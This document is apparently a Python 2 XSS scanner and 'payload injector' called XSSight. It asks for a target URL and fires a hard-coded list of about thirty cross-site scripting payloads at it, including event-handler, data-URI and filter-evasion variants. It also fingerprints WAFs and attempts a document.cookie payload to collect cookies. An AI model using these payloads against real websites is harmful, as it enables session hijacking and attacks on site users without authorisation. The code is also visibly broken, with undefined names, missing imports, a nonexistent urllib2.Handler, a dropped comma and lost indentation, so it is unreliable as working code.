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xssight.py
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#!/usr/bin/env python
# -*- coding: cp1252 -*-
# A XSS Scanner and Exploitation Script by D3V teamultimate.in
from __future__ import absolute_import
from __future__ import print_function
import urllib2
from urllib2 import Request, build_opener, HTTPCookieProcessor, HTTPHandler
import urllib
from urllib import FancyURLopener
import socket
import time
import ssl
import re
import sys
import cookielib
from functools import partial
GET, POST = "GET", "POST"
retval, usable = False, False
SMALLER_CHAR_POOL = ('<', '>') # characters used for XSS tampering of parameter values (smaller set - for avoiding possible SQLi errors)
LARGER_CHAR_POOL = ('\'', '"', '>', '<', ';') # characters used for XSS tampering of parameter values (larger set)
GET, POST = "GET", "POST" # enumerator-like values used for marking current phase
PREFIX_SUFFIX_LENGTH = 5 # length of random prefix/suffix used in XSS tampering
COOKIE, UA, REFERER = "Cookie", "User-Agent", "Referer" # optional HTTP header names
TIMEOUT = 30 # connection timeout in seconds
DOM_FILTER_REGEX = r"(?s)<!--.*?-->|\bescape\([^)]+\)|\([^)]+==[^(]+\)|\"[^\"]+\"|'[^']+'" # filtering regex used before DOM XSS search
REGULAR_PATTERNS = ( # each (regular pattern) item consists of (r"context regex", (prerequitarget unfiltered characters), "info text", r"content removal regex")
(r"\A[^<>]*%(chars)s[^<>]*\Z", ('<', '>'), "\".xss.\", pure text response, %(filtering)s filtering", None),
(r"<!--[^>]*%(chars)s|%(chars)s[^<]*-->", ('<', '>'), "\"<!--.'.xss.'.-->\", inside the comment, %(filtering)s filtering", None),
(r"(?s)<script[^>]*>[^<]*?'[^<']*%(chars)s|%(chars)s[^<']*'[^<]*</script>", ('\'', ';'), "\"<script>.'.xss.'.</script>\", enclosed by <script> tags, inside single-quotes, %(filtering)s filtering", None),
(r'(?s)<script[^>]*>[^<]*?"[^<"]*%(chars)s|%(chars)s[^<"]*"[^<]*</script>', ('"', ';'), "'<script>.\".xss.\".</script>', enclosed by <script> tags, inside double-quotes, %(filtering)s filtering", None),
(r"(?s)<script[^>]*>[^<]*?%(chars)s|%(chars)s[^<]*</script>", (';',), "\"<script>.xss.</script>\", enclosed by <script> tags, %(filtering)s filtering", None),
(r">[^<]*%(chars)s[^<]*(<|\Z)", ('<', '>'), "\">.xss.<\", outside of tags, %(filtering)s filtering", r"(?s)<script.+?</script>|<!--.*?-->"),
(r"<[^>]*'[^>']*%(chars)s[^>']*'[^>]*>", ('\'',), "\"<.'.xss.'.>\", inside the tag, inside single-quotes, %(filtering)s filtering", r"(?s)<script.+?</script>|<!--.*?-->"),
(r'<[^>]*"[^>"]*%(chars)s[^>"]*"[^>]*>', ('"',), "'<.\".xss.\".>', inside the tag, inside double-quotes, %(filtering)s filtering", r"(?s)<script.+?</script>|<!--.*?-->"),
(r"<[^>]*%(chars)s[^>]*>", (), "\"<.xss.>\", inside the tag, outside of quotes, %(filtering)s filtering", r"(?s)<script.+?</script>|<!--.*?-->"),
)
_headers = {} # used for storing dictionary with optional header values
def _retrieve_content(url, data=None):
try:
req = urllib2.Request("".join(url[i].replace(' ', "%20") if i > url.find('?') else url[i] for i in range(len(url))), data, _headers)
retval = urllib2.urlopen(req, timeout=TIMEOUT).read()
except Exception as ex:
retval = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", str())
return retval or ""
def _contains(content, chars):
content = re.sub(r"\\[%s]" % re.escape("".join(chars)), "", content) if chars else content
return all(char in content for char in chars)
def scan_page(url, data=None):
retval, usable = False, False
url, data = re.sub(r"=(&|\Z)", "=1\g<1>", url) if url else url, re.sub(r"=(&|\Z)", "=1\g<1>", data) if data else data
original = re.sub(DOM_FILTER_REGEX, "", _retrieve_content(url, data))
dom = max(re.search(_, original) for _ in DOM_PATTERNS)
###Cross Site Scripting Payloads###
xss_attack = ["%22%3Cscript%3Ealert%28%27dev%27%29%3C%2Fscript%3E"
"<script>alert('dev')</script>",
"1<ScRiPt >prompt(962477)</sCripT>",
"<script>alert('dev')</script>",
"'';!--\"<XSS>=&{()}",
"<ScRipt>ALeRt('dev');</sCRipT>",
"<body/onhashchange=alert(1)><a href=#>clickit",
"<img src=x onerror=prompt(1);>",
"%3cvideo+src%3dx+onerror%3dprompt(1)%3b%3e",
"<iframesrc=\"javascript:alert(2)\">",
"<iframe/src=\"data:text/html;	base64
,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==\">",
"<form action=\"Javascript:alert(1)\"><input type=submit>",
"<isindex action=data:text/html, type=image>",
"<object data=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=\">",
"<svg/onload=prompt(1);>",
"<marquee/onstart=confirm(2)>/",
"<body onload=prompt(1);>",
"<q/oncut=open()>",
"<a onmouseover=location=’javascript:alert(1)>click",
"<svg><script>alert(/1/)</script>",
"</script><script>alert(1)</script>",
"<scri%00pt>alert(1);</scri%00pt>",
"<scri%00pt>confirm(0);</scri%00pt>",
"5\x72\x74\x28\x30\x29\x3B'>rhainfosec",
"<isindex action=j	a	vas	c	r	ipt:alert(1) type=image>",
"<marquee/onstart=confirm(2)>",
"<A HREF=\"http://www.google.com./\">XSS</A>",
"<svg/onload=prompt(1);>"]
class MyOpener(FancyURLopener):
version = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11)Gecko/20071127 Firefox/2.0.0.11'
myopener = MyOpener()
class JSHTTPCookieProcessor(urllib2.BaseHandler):
handler_order = 400
#Function In Case of Crawling
def xss(exploit):
for link in links:
print(Fore.RED + "Testing:",link[0]+exploit)
try:
if xi != 0:
handler = urllib2.Handler({'http': 'http://' + '/'})
opener = urllib2.build_opener(link[0]+exploit, handler)
source = opener.open(link[0]+exploit).read()
else:
source = myopener.open(link[0]+exploit).read()
print("Source Length:",len(source))
if re.search("xss", source.lower()) != None:
print(Fore.RED + "\n[!] XSS:",link[0]+exploit,"\n")
else:
print(Fore.GREEN + "[-] Not Vulnerable.")
except(urllib2.HTTPError) as msg:
print("[-] Error:",msg)
pass
#Function in case of Vulnerability Confirmation
def xxs2(exploi):
print(Fore.RED + " Testing:",host+exploi)
try:
if xi != 0:
handle = urllib2.Handler({'http': 'http://' + '/'})
opene = urllib2.build_opener(host+exploit, handle)
sourc = opene.open(host+exploit).read()
else:
sourc = myopener.open(host+exploi).read()
print(" Source Length:",len(sourc))
##Detecting WAF if Exist
if res1.code == 406:
print(" WAF Detected => (Mod_Security)")
elif res1.code == 999:
print(" WAF Detected => WebKnight")
time.sleep(5)
elif res1.code == 419:
print(" WAF Detected => F5 BIG IP")
else:
print("\033[1;32m WAF Not Found\033[1;m")
if re.search("xss", sourc.lower()) != None:
print(Fore.RED + "\n[!] XSS:",host+exploi,"\n")
else:
print(Fore.GREEN + "[-] Not Vulnerable.")
except(urllib2.HTTPError) as msg:
print("[-] Error:",msg)
pass
####### Print Menu and Exmaple ########
print("\t\033[1;31m .-'^`\ /`^'-.\033[1;m")
print("\t\033[1;31m .' ___\ /___ `.\033[1;m")
print("\t\033[1;31m / /.---. .---.\ `\033[1;m")
print("\t\033[1;31m| // '-. ___________________________ .-' \\ |\033[1;m")
print("\t\033[1;31m| ;| \/--------------------------// |; |\033[1;m")
print("\t\033[1;31m\ || |\_) XSSight (_/| || /\033[1;m")
print("\t\033[1;31m \ | \ . \ ; | By Team Ultimate || ; / . / | /\033[1;m")
print("\t\033[1;31m '\_\ \\ \ \ \ | ||/ / / // /_/'\033[1;m")
print("\t\033[1;31m \\ \ \ \| Beta Release |/ / / //\033[1;m")
print("\t\033[1;31m `'-\_\_\ teamultimate.in /_/_/-'`\033[1;m")
print("\t\033[1;31m '--------------------------' \033[1;m")
print("\033[1;35m These types of URLs are accepted\033[1;m")
print(" Example: http://www.website.com/ ")
print(" Example: http://www.website.com= ")
print(" Example: http://www.website.com? ")
host = input("\033[1;35m\n Enter target url:\033[1;m ")
res = myopener.open(host)
res1= urllib.urlopen(host)
html = res.read()
links = re.findall('"((http|href)s?://.*?)"', html)
print((30 * '\033[1;31m-\033[1;m'))
print ("Select an operation:")
print((30 * '\033[1;31m-\033[1;m'))
print (" 1. XSS Scanner")
print (" 2. Payload Injector")
choice = input(' Enter your choice [1-2] : ')
print(res.info())
myfile = res.read()
### Testing the connection ###
try:
if sys.argv[3]:
xi = sys.argv[3]
print("Testing The Connection...")
h2 = six.moves.http_client.httplib.ssl(xi)
h2.connect()
print("[+] xi:",xi)
except(socket.timeout):
print("\033[1;31mConnection Timed Out\033[1;m")
xi = 0
pass
except:
xi = 0
pass
### Print the result in Case of Crawling###
if('1' in choice):
try:
for phase in (GET, POST):
current = host if phase is GET else ("")
for match in re.finditer(r"((\A|[?&])(?P<parameter>[\w\[\]]+)=)(?P<value>[^&#]*)", current):
found, usable = False, True
print("* scanning %s parameter '%s'" % (phase, match.group("parameter")))
prefix, suffix = ("".join(random.sample(string.ascii_lowercase, PREFIX_SUFFIX_LENGTH)) for i in range(2))
for pool in (LARGER_CHAR_POOL, SMALLER_CHAR_POOL):
if not found:
tampered = current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote("%s%s%s%s" % ("'" if pool == LARGER_CHAR_POOL else "", prefix, "".join(random.sample(pool, len(pool))), suffix))))
content = (_retrieve_content(tampered) if phase is GET else _retrieve_content(url, tampered)).replace("%s%s" % ("'" if pool == LARGER_CHAR_POOL else "", prefix), prefix)
for sample in re.finditer("%s([^ ]+?)%s" % (prefix, suffix), content, re.I):
for regex, condition, info, content_removal_regex in REGULAR_PATTERNS:
context = re.search(regex % {"chars": re.escape(sample.group(0))}, re.sub(content_removal_regex or "", "", content), re.I)
if context and not found and sample.group(1).strip():
if _contains(sample.group(1), condition):
print(" (i) %s parameter '%s' appears to be XSS vulnerable (%s)" % (phase, match.group("parameter"), info % dict((("filtering", "no" if all(char in sample.group(1) for char in LARGER_CHAR_POOL) else "some"),))))
found = retval = True
break
if not usable:
print("\033[1;31m (x) no usable GET/POST parameters found\033[1;m")
except urllib2.HTTPError:
print("Error")
if('2' in choice):
print ("[+] Injecting payloads in the parameter:", host),len(xss_attack),("payloads\n")
for exploi in xss_attack:
time.sleep(5)
xxs2(exploi.replace("\n",""))
###Confirm by Searching Payload in Web Page###
heer = xss_attack
try:
mam = myopener.open(host+exploi).read()
found = False
for payload in heer:
if payload in mam:
found = True
if found:
print ("\033[1;32m[+] Confirmed Payload Found in Web Page Code\033[1;m")
#Getting COKKIES
cj = cookielib.CookieJar()
opener = build_opener(HTTPCookieProcessor(cj), HTTPHandler())
xss_cookie = ("%3cscript%3ealert(document.cookie)%3c/script%3e")
url1 = (host+xss_cookie)
req = Request(url1, headers={'User-Agent' : "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/11.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30"})
f = opener.open(req)
html = f.read()
print ("Excute document.cookie")
time.sleep (3)
for cookie in cj:
print ("\033[1;32m==>\033[1;m", cookie)
sys.exit()
else:
print ("\033[1;31m[-] False Positive\033[1;m")
except urllib2.HTTPError:
print ("\033[1;31mError\033[1;m")